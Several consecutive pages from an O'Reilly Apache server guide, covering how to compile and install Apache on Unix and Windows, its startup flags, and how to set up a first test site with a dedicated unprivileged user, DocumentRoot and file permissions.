Implements metainformation files compatible with the CERN web server.

AddModule modules/standard/mod_digest.o (WD)

Implements HTTP digest authentication; more secure than the others.

AddModule modules/standard/mod_expires.o (WD)

Applies Expires headers to resources.

AddModule modules/standard/mod_headers.o (WD)

Sets arbitrary HTTP response headers.

AddModule modules/standard/mod_usertrack.o (WD)

Tracks users by means of cookies. It is not necessary to use cookies.

AddModule modules/standard/mod_unique_id.o

Generates an ID for each hit. May not work on all systems.

AddModule modules/standard/mod_so.o

Loads modules at runtime. Experimental.

AddModule modules/standard/mod_setenvif.o

Sets environment variables based on header fields in the request.

Here are the modules we commented out, and why:

# AddModule modules/standard/mod_log_agent.o

Not relevant here -- CERN holdover.

# AddModule modules/standard/mod_log_referer.o

Not relevant here -- CERN holdover.

# AddModule modules/standard/mod_auth_dbm.o

Can't have both this and mod_auth_db.o. Doesn't work with Win32.

# AddModule modules/example/mod_example.o

Only for testing APIs (see Chapter 14, "The Apache API").

These are the "standard" Apache modules, approved and supported by the Apache Group as a whole. There are a number of other modules available (see Chapter 12, "Extra Modules").

Although we've mentioned mod_auth_db.o and mod_auth_dbm.o above, they provide equivalent functionality and shouldn't be compiled together.

We have left out any modules described as experimental. Any disparity between the directives listed in this book and the list obtained by starting Apache with the -h flag is probably caused by the errant directive having moved out of experimental status since we went to press.

Later on, when we are writing Apache configuration scripts, we can make them adapt to the modules we include or exclude with the IfModule directive. This allows you to give out predefined Config files that always work (in the sense of Apache loading) whatever mix of modules is actually compiled. Thus, for instance, we can adapt to the absence of configurable logging with the following:

...
<IfModule mod_log_config.c>
LogFormat "customers: host %h, logname %l, user %u, time %t, request %r, status %s, bytes %b"
</IfModule>
...

The module directives are as follows (it will become clear later on how to use them, but they are printed here for convenience):

1.8.3.1. ClearModuleList

ClearModuleList
Server Config

Clears the list of active modules. Apache then has no modules until the AddModule directive is run. This should only concern the extreme seeker after performance.

1.8.3.2. AddModule

AddModule module module ...
Server Config

Makes the list of modules active. They must have been compiled in with the AddModule instruction in Configuration.

1.8.4. Configuration Settings and Rules

Most users of Apache will not have to bother with this section at all. However, you can specify extra compiler flags (for instance, optimization commands), libraries, or includes by giving values to :

EXTRA_CFLAGS=
EXTRA_LDFLAGS=
EXTRA_LIBS=
EXTRA_INCLUDES=

Configure will try to guess your operating system and compiler; therefore, unless things go wrong, you won't need to uncomment and give values to:

#CC=
#OPTIM=-02
#RANLIB=

The rules in the Configuration file allow you to adapt for a few exotic configuration problems. The syntax of a rule in Configuration is as follows:

Rule RULE =value

The possible values are as follows:

yes

Configure does what is required.

default

Configure makes a best guess.

Any other value is ignored.

The Rules are as follows:

STATUS

If yes, and Configure decides that you are using the status module, then full status information is enabled. If the status module is not included, yes has no effect. This is set to yes by default.

SOCKS4

SOCKS is a firewall traversal protocol that requires client-end processing. See ftp://ftp.nec.com/pub/security/socks.cstc. If set to yes, be sure to add the SOCKS library location to EXTRA_LIBS; otherwise, Configure assumes L/usr/local/lib-lsocks. This allows Apache to make outgoing SOCKS connections, which is not something it normally needs to do, unless it is configured as a proxy. Although the very latest version of SOCKS is SOCKS5, SOCKS4 clients work fine with it. This is set to no by default.

SOCKS5

If you want to use a SOCKS5 client library, you must use this rule rather than SOCKS4. This is set to no by default.

IRIXNIS

If Configure decides that you are running SGI IRIX, and you are using NIS, set this to yes. This is set to no by default.

IRIXN32

Make IRIX use the n32 libraries rather than the o32 ones. This is set to yes by default.

PARANOID

During Configure, modules can run shell commands. If PARANOID is set to yes, it will print out the code that the modules use. This is set to no by default.

There is a group of rules that Configure will try to set correctly, but that can be overridden. If you have to do this, please advise the Apache Group by filling out a problem report form at http://apache.org/bugdb.cgi or by sending an email to apache-bugs@ apache.org. Currently, there is only one rule in this group:

WANTHSREGEX:

Apache needs to be able to interpret regular expressions using POSIX methods. A good regex package is included with Apache, but you can use your OS version by setting WANTSHREGEX=no, or commenting out the rule. The default action depends on your OS:

Rule WANTSHREGEX=default

1.8.5. Making Apache

The INSTALL file in the src subdirectory says that all we have to do now is run the configuration script by typing:

% ./Configure

You should see something like this -- bearing in mind that we're using FreeBSD:

Using config file: Configuration
Creating Makefile
 + configured for FreeBSD platform
 + setting C compiler to gcc
 + Adding selected modules
    o status_module uses ConfigStart/End:
    o dbm_auth_module uses ConfigStart/End:
    o db_auth_module uses ConfigStart/End:
    o so_module uses ConfigStart/End:
 + doing sanity check on compiler and options
Creating Makefile in support
Creating Makefile in main
Creating Makefile in ap
Creating Makefile in regex
Creating Makefile in os/unix
Creating Makefile in modules/standard
Creating Makefile in modules/proxy

Then type:

% make

When you run make, the compiler is set in motion, and streams of reassuring messages appear on the screen. However, things may go wrong that you have to fix, although this situation can appear more alarming than it really is. For instance, in an earlier attempt to install Apache on an SCO machine, we received the following compile error:

Cannot open include file 'sys/socket.h'

Clearly (since sockets are very TCP/IPish things), this had to do with TCP/IP, which we had not installed: we did so. Not that this is any big deal, but it illustrates the sort of minor problem that arises. Not everything turns up where it ought to. If you find something that really is not working properly, it is sensible to make a bug report via the Bug Report link in the Apache Server Project main menu. But do read the notes there. Make sure that it is a real bug, not a configuration problem, and look through the known bug list first so as not to waste everyone's time.

The result of make was the executable httpd. If you run it with:

% ./httpd

it complains that it:

could not open document config file /usr/local/etc/httpd/conf/httpd.conf

This is not surprising because, at the moment, being where we are, the Config file doesn't exist. Before we are finished, we will become very familiar with this file. It is perhaps unfortunate that it has a name so similar to the Configuration file we have been dealing with here, because it is quite different. We hope that the difference will become apparent later on.

1.8.6. Unix Binary Releases

The fairly painless business of compiling Apache, which is described above, can now be circumvented by downloading a precompiled binary for the Unix of your choice from http://apache.org/dist/binaries. When we went to press, the following versions of Unix were supported, but check before you decide (see ftp://ftp.apache.org/httpd/binaries.html):

alpha-dec-osf3.0

hppa1.1-hp-hpux

i386-slackware-linux(a.out)

i386-sun-solaris2.5

i386-unixware-svr4

i386-unknown-bsdi2.0

i386-unknown-freebsd2.1

i386-unknown-linux(ELF)

i386-unknown-netBSD

i386-unknown-sco3

i386-unknown-sco5

m68k-apple-aux3.1.1

m88k-dg-dgux5.4R2.01

m88k-next-next

mips-sgi-irix5.3

mips-sni-svr4

rs6000-ibm-aix3.2.5

sparc-sun-solaris2.4

sparc-sun-solaris2.5

sparc-sun-sunos4.1.4

sparc-sun-sunos4.1.3_U1

mips-dec-ultirx4.4

Although this route is easier, you do forfeit the opportunity to configure the modules of your Apache, and you lose the chance to carry out quite a complex Unix operation, which is in itself interesting and confidence inspiring if you are not very familiar with this operating system.

1.8.7. Installing Apache Under Unix

Once the excitement of getting Apache to compile and run died down, we reorganized things in accordance with the system defaults. We simply copied the executable httpd to the directory /usr/local/bin to put it on the path.

Previous | Home | Next
1.7. Which Apache? | Book Index | 1.9. Apache Under Windows
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Apache Under Windows (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.9. Apache Under Windows

In our view, Win32 currently comprises Windows 95, Windows 98, and NT.[17] As far as we know, these different versions are the same as far as Apache is concerned, except that under NT, Apache can also be run as a service. Performance under Win32 may not be as good as under Unix, but this will probably improve over coming months.

[17]But note that neither we nor the Apache Group have done much with Windows 98 at the time of writing.

Since Win32 is considerably more consistent than the sprawling family of Unices, and since it loads extra modules as DLLs at runtime, rather than compiling them at make time, it is practical for the Apache Group to offer a precompiled binary executable as the standard distribution. Go to http://www.apache.org/dist and click on the version you want, which will be in the form of a self-installing .exe file (the .exe extension is how you tell which one is the Win32 Apache). Download it into, say, c:\temp and then run it from the Win32 Start menu's Run option.

The executable will create an Apache directory, C:\Program Files\Apache, by default. Everything to do with Win32 Apache happens in an MS-DOS window, so get into a window and type:

> cd c:\<apache directory>> dir

and you should see something like this:

Volume in drive C has no label
 Volume Serial Number is 294C-14EE
 Directory of C:\apache
.              <DIR>        21/05/98   7:27 .
..             <DIR>        21/05/98   7:27 ..
DEISL1   ISU        12,818  29/07/98  15:12 DeIsL1.isu
HTDOCS         <DIR>        29/07/98  15:12 htdocs
MODULES        <DIR>        29/07/98  15:12 modules
ICONS          <DIR>        29/07/98  15:12 icons
LOGS           <DIR>        29/07/98  15:12 logs
CONF           <DIR>        29/07/98  15:12 conf
CGI-BIN        <DIR>        29/07/98  15:12 cgi-bin
ABOUT_~1            12,921  15/07/98  13:31 ABOUT_APACHE
ANNOUN~1             3,090  18/07/98  23:50 Announcement
KEYS                22,763  15/07/98  13:31 KEYS
LICENSE              2,907  31/03/98  13:52 LICENSE
APACHE   EXE         3,072  19/07/98  11:47 Apache.exe
APACHE~1 DLL       247,808  19/07/98  12:11 ApacheCore.dll
MAKEFI~1 TMP        21,025  15/07/98  18:03 Makefile.tmpl
README               2,109  01/04/98  13:59 README
README~1 TXT         2,985  30/05/98  13:57 README-NT.TXT
INSTALL  DLL        54,784  19/07/98  11:44 install.dll
_DEISREG ISR           147  29/07/98  15:12 _DEISREG.ISR
_ISREG32 DLL        40,960  23/04/97   1:16 _ISREG32.DLL
        13 file(s)        427,389 bytes
         8 dir(s)     520,835,072 bytes free

Apache.exe is the executable, and ApacheCore.dll is the meat of the thing. The important subdirectories are as follows:

conf

Where the Config file lives.

logs

Where the logs are kept.

htdocs

Where you put the material your server is to give clients. The Apache manual will be found in a subdirectory.

modules

Where the runtime loadable DLLs live.

After 1.3b6, leave your original versions of files in these subdirectories alone, while creating new ones with the added extension .default -- which you should look at. We will see what to do with all of this in the next chapter.

See the file README-NT.TXT for current problems.

1.9.1. Compiling Apache Under Win32

The advanced user who wants, perhaps, to write his or her own modules (see Chapter 15, "Writing Apache Modules"), will need the source code. This can be installed with the Win32 version by choosing Custom installation. It can also be downloaded from the nearest mirror Apache site (start at http://apache.org/ ) as a .tar.gz file containing the normal Unix distribution and can be unpacked into an appropriate source directory using, for instance, 32-bit WinZip, which deals with .tar and .gz format files as well as .zip. You will also need Microsoft's Visual C++ Version 5. Once the sources and compiler are in place, open an MS-DOS window and go to the Apache src directory. Build a debug version and install it into \Apache by typing:

> nmake /f Makefile.nt _apached
> nmake /f Makefile.nt installd

or build a release version by typing:

> nmake /f Makefile.nt _apacher
> nmake /f Makefile.nt installr

This will build and install the following files in and below \Apache\:

Apache.exe

The executable

ApacheCore.dll

The main shared library

Modules\ApacheModule*.dll

Seven optional modules

\conf

Empty config directory

\logs

Empty log directory

The directives described in the rest of the book are the same for both Unix and Win32, except that Win32 Apache can load module DLLs. They need to be activated in the Config file by the LoadModule directive. For example, if you want status information, you need the line:

LoadModule status_module modules/ApacheModuleStatus.dll

Notice that wherever filenames are relevant in the Config file, the Win32 version uses forward slashes ("/") as in Unix, rather than backslashes ("\") as in MS-DOS or Windows. Since almost all the rest of the book applies to both Win32 and Unix without distinction between then, we will use ("/") in filenames wherever they occur.

Apache for Win32 can also load Internet Server Applications (ISAPI extensions).

Previous | Home | Next
1.8. Making Apache Under Unix | Book Index | 1.10. Apache Under BS2000/OSD and AS/400
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Apache Under BS2000/OSD and AS/400 (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.10. Apache Under BS2000/OSD and AS/400

As we were writing this edition, the Apache group announced ports to Siemens Nixdorf mainframes running BS2000/OSD on an IBM 390 - compatible processor and also to IBM's AS 400. We imagine that few readers of this book will be interested, but those that are should see the Apache documentation for details.

Previous | Home | Next
1.9. Apache Under Windows | Book Index | 2. Our First Web Site
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Our First Web Site (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 2. Our First Web Site

Contents:

What Is a Web Site?
Apache's Flags
site.toddle
Setting Up a Unix Server
Setting Up a Win32 Server

We now have a shiny bright apache/httpd, ready for anything. As we shall see, we will be creating a number of demonstration web sites.

2.1. What Is a Web Site?

It might be a good idea to get a firm idea of what, in the Apache business, a web site is: It is a directory somewhere on the server, say, /usr/www/site.for_instance. It contains at least three essential subdirectories:

conf

Contains the Config file, which tells Apache how to respond to different kinds of requests

htdocs

Contains the documents, images, data, and so forth that you want to serve up to your clients

logs

Contains the log files that record what happened

Most of this book is about writing the Config file, using Apache's 150 or so directives. Nothing happens until you start Apache. If the conf subdirectory is not in the default location (it usually isn't), you need a flag that tells Apache where it is.

httpd -d /usr/www/site.for_instance

apache -d c:/usr/www/site.for_instance

Notice that the executable names are different under Win32 and Unix. The Apache Group decided to make this change, despite the difficulties it causes for documentation, because "httpd" is not a particularly sensible name for a specific web server, and, indeed, is used by other web servers. However, it was felt that the name change would cause too many backward compatibility issues on Unix, and so the new name is implemented only on Win32.

Also note that the Win32 version still uses forward slashes rather than backslashes. This is because Apache internally uses forward slashes on all platforms; therefore, you should never use a backslash in an Apache Config file, regardless of the operating system.

Once you start the executable, Apache runs silently in the background, waiting for a client's request to arrive on a port to which it is listening. When a request arrives, Apache either does its thing or fouls up and makes a note in the log file.

What we call "a site" here may appear to the outside world as many, perhaps hundred, of sites, because the Config file can invoke many virtual hosts.

When you are tired of the whole Web business, you kill Apache (see Section 2.4, "Setting Up a Unix Server ", later in this chapter) and the computer reverts to being a doorstop.

Various issues arise in the course of implementing this simple scheme, and the rest of this book is an attempt to deal with some of them. As we pointed out in the preface, running a web site can involve many questions far outside the scope of this book. All we deal with here is how to make Apache do what you want. We often have to leave the questions of what you want to do and why you might want to do it to a higher tribunal.

Previous | Home | Next
1.10. Apache Under BS2000/OSD and AS/400 | Book Index | 2.2. Apache's Flags
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Apache's Flags (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

2.2. Apache's Flags

httpd (or apache) takes the following flags:

-D name

Defines a name for <IfDefine> directives.

-d directory

Specifies an alternate initial ServerRoot directory.

-f filename

Specifies an alternate ServerConfig file.

-C "directive"

Processes the given directive before reading Config file(s).

-c "directive"

Processes the given directive after reading Config file(s).

-v

Shows version number.

-V

Shows compile settings.

-h

Lists available Config directives.

-l

Lists compiled modules.

-S

Shows parsed settings (currently only vhost).

-t

Runs syntax test for configuration file(s).

-X

Figure 2.2 Runs a single copy. This is intended for debugging only, and should not be used otherwise. Can cause a substantial delay in servicing requests.

-i

Figure 2.2 Installs Apache as an NT service.

-u

Figure 2.2 Uninstalls Apache as an NT service.

-s

Figure 2.2 Under NT, prevents Apache registering itself as an NT service. If you are running under Win95 this flag does not seem essential, but it would be advisable to include it anyway. This flag should be used when starting Apache from the command line, but it is easy to forget because nothing goes wrong if you leave it out. The main advantage is a faster startup (omitting it causes a 30-second delay).

-k shutdown|restart

Figure 2.2 Run on another console window, apache -k shutdown stops Apache gracefully, and apache -k restart stops it and restarts it gracefully.

The Apache Group seems to put in extra flags quite often, so it is worth experimenting with apache -? (or httpd -?) to see what you get.

Previous | Home | Next
2. Our First Web Site | Book Index | 2.3. site.toddle
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


site.toddle (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

2.3. site.toddle

You can't do much with Apache without a web site to play with. To embody our first shaky steps, we created site.toddle as a subdirectory, /usr/www/site.toddle. Since you may want to keep your demonstration sites somewhere else, we normally refer to this path as ... /. So we will talk about ... /site.toddle (Windows users, please read this as ...\site.toddle).

In ... /site.toddle, we created the three subdirectories Apache expects: conf, logs, and htdocs. The README file in Apache's root directory states:

The next step is to edit the configuration files for the server. In the subdirectory called conf you should find distribution versions of the three configuration files: srm.conf-dist, access.conf-dist, and httpd.conf-dist.

As a legacy from NCSA, Apache will accept these three Config files. But we strongly advise you to put everything you need in httpd.conf, and to delete the other two. It is much easier to manage the Config file if there is only one of them. From Apache v1.3.4-dev on, this has become Group doctrine. In earlier versions of Apache, it was necessary to disable these files explicitly once they were deleted, but in v1.3 it is enough that they do not exist.

The README file continues with advice about editing these files, which we will disregard. In fact, we don't have to set about this job yet. We will learn more later. A simple expedient for now is to run Apache with no configuration and to let it prompt us for what it needs.

Previous | Home | Next
2.2. Apache's Flags | Book Index | 2.4. Setting Up a Unix Server
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Setting Up a Unix Server (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

2.4. Setting Up a Unix Server

We can point httpd at our site with the -d flag (notice the full pathname to the site.toddle directory):

% httpd -d /usr/www/site.toddle

Since you will be typing this a lot, it's sensible to copy it into a script called go in /usr/local/bin by typing:

% cat > /usr/local/bin/go
httpd -d `pwd`
^d

^d is shorthand for CTRL-D, which ends the input and gets your prompt back. This go will work on every site.

Make go runnable and run it by typing the following (note that you have to be in the directory .../site.toddle when you run go):

% chmod +x /usr/local/bin/go
% go

This launches Apache in the background. Check that it's running by typing something like this (arguments to ps vary from Unix to Unix):

% ps -aux

This Unix utility lists all the processes running, among which you should find several httpds.[18]

[18]On System V-based Unix systems (as opposed to Berkeley-based), the command ps -ef should have a similar effect.

Sooner or later, you have finished testing and want to stop Apache. In order to do this, you have to get the process identity (PID) using ps -aux and execute the Unix utility kill:

% kill PID

Alternatively, since Apache writes its PID in the file ... /logs/httpd.pid (by default -- see the PidFile directive), you can write yourself a little script, as follows:

kill `cat /usr/www/site.toddle/logs/httpd.pid`

You may prefer to put more generalized versions of these scripts somewhere on your path. For example, the following scripts will start and stop a server based in your current directory. go looks like this:

httpd -d `pwd`

and stop looks like this:

pwd | read path
kill `cat $path/logs/httpd.pid`

Or, if you don't plan to mess with many different configurations, use .../src/support/apachect1 to start and stop Apache in the default directory. You might want to copy it into /usr/local/bin to get it onto the path. It uses the following flags:

usage: ./apachectl
(start|stop|restart|fullstatus|status|graceful|configtest|help)
start

Start httpd.

stop

Stop httpd.

restart

Restart httpd if running by sending a SIGHUP or start if not running.

fullstatus

Dump a full status screen; requires lynx and mod_status enabled.

status

Dump a short status screen; requires lynx and mod_status enabled.

graceful

Do a graceful restart by sending a SIGUSR1 or start if not running.

configtest

Do a configuration syntax test.

help

This screen.

When we typed ./go, nothing appeared to happen, but when we looked in the logs subdirectory, we found a file called error_log with the entry:

[<date>]:'mod_unique_id: unable to get hostbyname ("myname.my.domain")

This problem was, in our case, due to the odd way we were running Apache and will only affect you if you are running on a host with no DNS or on an operating system that has difficulty determining the local hostname. The solution was to edit the file /etc/hosts and add the line:

10.0.0.2 myname.my.domain myname

where 10.0.0.2 is the IP number we were using for testing.

However, our troubles were not yet over. When we reran httpd we received the following error message:

[<date>] - couldn't determine user name from uid

This means more than might at first appear. We had logged in as root. Because of the security worries of letting outsiders log in with superuser powers, Apache, having been started with root permissions so that it can bind to port 80, has attempted to change its user ID to -1. On many Unix systems, this ID corresponds to the user nobody : a harmless person. However, it seems that FreeBSD does not understand this notion, hence the error message.[19]

[19]In fact, this problem was fixed for FreeBSD shortly before this book went to press, but you may still encounter it on other operating systems.

2.4.1. Webuser and Webgroup

The remedy is to create a new person, called webuser, belonging to webgroup. The names are unimportant. The main thing is that this user should be in a group of its own and should not actually be used by anyone for anything else. On a FreeBSD system, you can run adduser to make this new person:

Enter username [a-z0-9]: webuser
Enter full name[]: webuser
Enter shell bash csh date no sh tcsh [csh]: no
Uid [some number]:
Login group webuser [webuser]: webgroup
Login group is ''webgroup'.q. Invite webuser into other
    groups: guest no [no]:
Enter password []: password

You then get the report:

Name:webuser
Password: password
Fullname: webuser
Uid: some number
Groups:webgroup
HOME:/home/webuser
shell/nonexistent
OK? (y/n) [y]:

send message to ''webuser' and: no route second_mail_address [no]:
Add anything to default message (y/n) [n]:
Send message (y/n) [y]: n
Add another user? (y/n) [y]:n

The bits of the script after OK are really irrelevant, but of course FreeBSD does not know that you are making a nonexistent user. Having told the operating system about this user, you now have to tell Apache. Edit the file httpd.conf to include the following lines:

User webuser
Group webgroup

The following are the interesting directives.

2.4.1.1. User

User unix-userid
Default: User #-1
Server config, virtual host

The User directive sets the user ID under which the server will answer requests. In order to use this directive, the standalone server must be run initially as root. unix-userid is one of the following:

username

Refers to the given user by name

#usernumber

Refers to a user by his or her number

The user should have no privileges that allow him or her to access files not intended to be visible to the outside world; similarly, the user should not be able to execute code that is not meant for httpd requests. It is recommended that you set up a new user and group specifically for running the server. Some administrators use user nobody, but this is not always possible or desirable. For example, mod_proxy 's cache, when enabled, must be accessible to this user (see the CacheRoot directive in Chapter 9, "Proxy Server").

2.4.1.1.1. Notes

If you start the server as a non-root user, it will fail to change to the lesser-privileged user, and will instead continue to run as that original user. If you start the server as root, then it is normal for the parent process to remain running as root.

2.4.1.1.2. Security

Don't set User (or Group) to root unless you know exactly what you are doing and what the dangers are.

2.4.1.2. Group

Group unix-group
Default: Group #-1
Server config, virtual host

The Group directive sets the group under which the server will answer requests. In order to use this directive, the standalone server must be run initially as root. unix-group is one of the following:

groupname

Refers to the given group by name

#groupnumber

Refers to a group by its number

It is recommended that you set up a new group specifically for running the server. Some administrators use group nobody, but this is not always possible or desirable.

2.4.1.2.1. Note

If you start the server as a non-root user, it will fail to change to the specified group, and will instead continue to run as the group of the original user.

Now, when you run httpd and look for the PID, you will find that one copy belongs to root, and several others belong to webuser. Kill the root copy and the others will vanish.

2.4.2. Running Apache Under Unix

When you run Apache now, you may get the following error message:

httpd: cannot determine local hostname
Use ServerName to set it manually.

What Apache means is that you should put this line in the httpd.conf file:

ServerName yourmachinename

Finally, before you can expect any action, you need to set up some documents to serve. Apache's default document directory is ... /httpd/htdocs -- which you don't want to use because you are at /usr/www/site.toddle -- so you have to set it explicitly. Create ... /site.toddle/htdocs, and then in it create a file called 1.txt containing the immortal words "hullo world." Then add this line to httpd.conf :

DocumentRoot /usr/www/site.toddle/htdocs

The complete Config file, .../site.toddle/conf/httpd.conf, now looks like this:

User webuser
Group webgroup
ServerName yourmachinename
DocumentRoot /usr/www/site.toddle/htdocs

When you fire up httpd, you should have a working web server. To prove it, start up a browser to access your new server, and point it at http://yourmachinename/. [21]

[21]Note that if you are on the same machine, you can use http://127.0.0.1/ or http://localhost/, but this can be confusing because virtual host resolution may cause the server to behave differently than if you had used the interface's "real" name.

s As we know, http means use the HTTP protocol to get documents, and "/ " on the end means go to the DocumentRoot directory you set in httpd.conf.

2.4.2.1. DocumentRoot

DocumentRoot directory-filename
Default: /usr/local/apache/htdocs
Server config, virtual host

This directive sets the directory from which Apache will serve files. Unless matched by a directive like Alias, the server appends the path from the requested URL to the document root to make the path to the document. For example:

DocumentRoot /usr/web

An access to http://www.my.host.com/index.html now refers to /usr/web/index.html.

There appears to be a bug in mod_dir that causes problems when the directory specified in DocumentRoot has a trailing slash (e.g., DocumentRoot /usr/web/), so please avoid that. It is worth bearing in mind that the deeper DocumentRoot goes, the longer it takes Apache to check out the directories. For the sake of performance, adopt the British Army's universal motto: KISS (Keep It Simple, Stupid)!

Lynx is the text browser that comes with FreeBSD and other flavors of Unix; if it is available, type:

% lynx http://yourmachinename/

You see:

INDEX OF /
* Parent Directory
* 1.txt

If you move to 1.txt with the down arrow, you see:

hullo world

If you don't have Lynx (or Netscape, or some other web browser) on your server, you can use telnet :[22]

[22]telnet is not really suitable as a web browser, though it can be a very useful debugging tool.

% telnet yourmachinename80

Then type:

GET / HTTP/1.0 <CR><CR>

You should see:

HTTP/1.0 200 OK
Sat, 24 Aug 1996 23:49:02 GMT
Server: Apache/1.3
Connection: close
Content-Type: text/html

<HEAD><TITLE>Index of /</TITLE></HEAD><BODY>
<H1>Index of </H1>
<UL><LI> <A HREF="/"> Parent Directory</A>
<LI> <A HREF="1.txt"> 1.txt</A>
</UL></BODY>
Connection closed by foreign host.

The stuff between the "< " and ">" is HTML, written by Apache, which, if viewed through a browser, produces the formatted message shown by Lynx earlier, and by Netscape in the next chapter.

2.4.3. Several Copies of Apache

To get a display of all the processes running, run:

% ps -aux

Among a lot of Unix stuff, you will see one copy of httpd belonging to root, and a number that belong to webuser. They are similar copies, waiting to deal with incoming queries.

The root copy is still attached to port 80 -- thus its children will be also -- but it is not listening. This is because it is root and has too many powers. It is necessary for this "master" copy to remain running as root because only root can open ports below 1024. Its job is to monitor the scoreboard where the other copies post their status: busy or waiting. If there are too few waiting (default 5, set by the MinSpareServers directive in httpd.conf ), the root copy starts new ones; if there are too many waiting (default 10, set by the MaxSpareServers directive), it kills some off. If you note the PID (shown by ps -ax, or ps -aux for a fuller listing; also to be found in ... /logs/httpd.pid) of the root copy and kill it with:

% kill PID

or use the stop script described in Section 2.4, "Setting Up a Unix Server " ," earlier in this chapter, you will find that the other copies disappear as well.

2.4.4. Unix Permissions

If Apache is to work properly, it's important to correctly set the file-access permissions. In Unix systems, there are three kinds of permissions: read, write , and execute. They attach to each object in three levels: user, group, and other or "rest of the world." If you have installed the demonstration sites, go to ... /site.cgi/htdocs and type:

% ls -l

You see:

-rw-rw-r-- 5 root bin 1575 Aug 15 07:45 form_summer.html

The first "-" indicates that this is a regular file. It is followed by three permission fields, each of three characters. They mean, in this case:

User (root)

Read yes, write yes, execute no

Group (bin)

Read yes, write yes, execute no

Other

Read yes, write no, execute no

When the permissions apply to a directory, the "x" execute permission means scan, the ability to see the contents and move down a level.

The permission that interests us is other, because the copy of Apache that tries to access this file belongs to user webuser and group webgroup. These were set up to have no affinities with root and bin, so that copy can gain access only under the other permissions, and the only one set is "read." Consequently, a Bad Guy who crawls under the cloak of Apache cannot alter or delete our precious form_summer.html; he can only read it.

We can now write a coherent doctrine on permissions. We have set things up so that everything in our web site except the data vulnerable to attack has owner root and group wheel. We did this partly because it is a valid approach, but also because it is the only portable one. The files on our CD-ROM with owner root and group wheel have owner and group numbers "0" that translate into similar superuser access on every machine.

Of course, this only makes sense if the webmaster has root login permission, which we had. You may have to adapt the whole scheme if you do not have root login, and you should perhaps consult your site administrator.

In general, on a web site, everything should be owned by a user who is not webuser and a group that is not webgroup (assuming you use these terms for Apache configurations).

There are four kinds of files to which we want to give webuser access: directories, data, programs, and shell scripts. webuser must have scan permissions on all the directories, starting at root down to wherever the accessible files are. If Apache is to access a directory, that directory and all in the path must have x permission set for other. You do this by entering:

% chmod o+x each-directory-in-the-path

In order to produce a directory listing (if this is required by, say, an index), the final directory must have read permission for other. You do this by typing:

% chmod o+r final-directory

It probably should not have write permission set for other :

% chmod o-w final-directory

In order to serve a file as data -- and this includes files like .htaccess (see Chapter 3, "Toward a Real Web Site") -- the file must have read permission for other :

% chmod o+r file

And, as before, deny write permission:

% chmod o-w file

In order to run a program, the file must have execute permission set for other:

% chmod o+x program

In order to execute a shell script, the file must have read and execute permission set for other :

% chmod o+rx script

2.4.5. A Local Network

Emboldened by the success of site.toddle, we can now set about a more realistic setup, without as yet venturing out onto the unknown waters of the Web. We need to get two things running: Apache under some sort of Unix and a GUI browser. There are two main ways this can be achieved:

  • Run Apache and a browser (such as Mosaic or Netscape under X) on the same machine. The "network" is then provided by Unix.

  • Run Apache on a Unix box and a browser on a Windows 95/Windows NT/Mac OS machine, or vice versa, and link them with Ethernet (which is what we did for this book using FreeBSD).

We cannot hope to give detailed explanations for all possible variants of these situations. We expect that many of our readers will already be webmasters, familiar with these issues, who will want to skip the next section. Those who are new to the Web may find it useful to know what we did.

2.4.6. Our Experimental Micro Web

First, we had to install a network card on the FreeBSD machine. As it boots up, it tests all its components and prints a list on the console, which includes the card and the name of the appropriate driver. We used a 3Com card, and the following entries appeared:

...
1 3C5x9 board(s) on ISA found at 0x300
ep0 at 0x300-0x30f irq 10 on isa
ep0: aui/bnc/utp[*BNC*] address 00:a0:24:4b:48:23 irq 10
...

This indicated pretty clearly that the driver was ep0 , and that it had installed properly. If you miss this at bootup, FreeBSD lets you hit the Scroll Lock key and page up till you see it, then hit Scroll Lock again to return to normal operation.

Once a card was working, we needed to configure its driver, ep0. We did this with the following commands:

ifconfig ep0 192.168.123.2
ifconfig ep0 192.168.123.3 alias netmask 0xFFFFFFFF
ifconfig ep0 192.168.124.1 alias

The alias command makes ifconfig bind an additional IP address to the same device. The netmask command is needed to stop FreeBSD from printing an error message (for more on netmasks, see O'Reilly's TCP/IP Network Administration).

Note that the network numbers used here are suited to our particular network configuration. You'll need to talk to your network administrator to determine suitable numbers for your configuration. Each time we start up the FreeBSD machine to play with Apache, we have to run these commands. The usual way to do this is to add them to /etc/rc.local (or the equivalent location -- it varies from machine to machine, but whatever it is called, it is run whenever the system boots).

If you are following the FreeBSD installation or something like it, you also need to install IP addresses and their hostnames (if we were to be pedantic, we would call them fully qualified domain names, or FQDN) in the file /etc/hosts :

192.168.123.2 www.butterthlies.com
192.168.123.2 sales.butterthlies.com
192.168.123.3 sales-not-vh.butterthlies.com
192.168.124.1 www.faraway.com

Note that www.butterthlies.com and sales.butterthlies.com both have the same IP number. This is so we can demonstrate the new NameVirtualHosts directive in the next chapter. We will need sales-not-vh.butterthlies.com in site.twocopy. Note also that this method of setting up hostnames is normally only appropriate when DNS is not available -- if you use this method, you'll have to do it on every machine that needs to know the names.

Previous | Home | Next
2.3. site.toddle | Book Index | 2.5. Setting Up a Win32 Server
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Setting Up a Win32 Server (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

2.5. Setting Up a Win32 Server

There is no point trying to run Apache unless TCP/IP is set up and running on your machine. In our experience, if it isn't, Apache will crash Windows 95. A quick test is to ping some IP -- and if you can't think of a real one, ping yourself:

>ping 127.0.0.1

If TCP/IP is working, you should see some collaborative message like:

Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<10ms TTL=32
....

If you don't see something along these lines, defer further operations until TCP/IP is working.

It is important to remember that internally, Windows Apache is essentially the same as the Unix version and that it uses Unix-style forward slashes ("/") rather than MS-DOS- and Windows-style backslashes ("\") in its file and directory names as specified in various files.

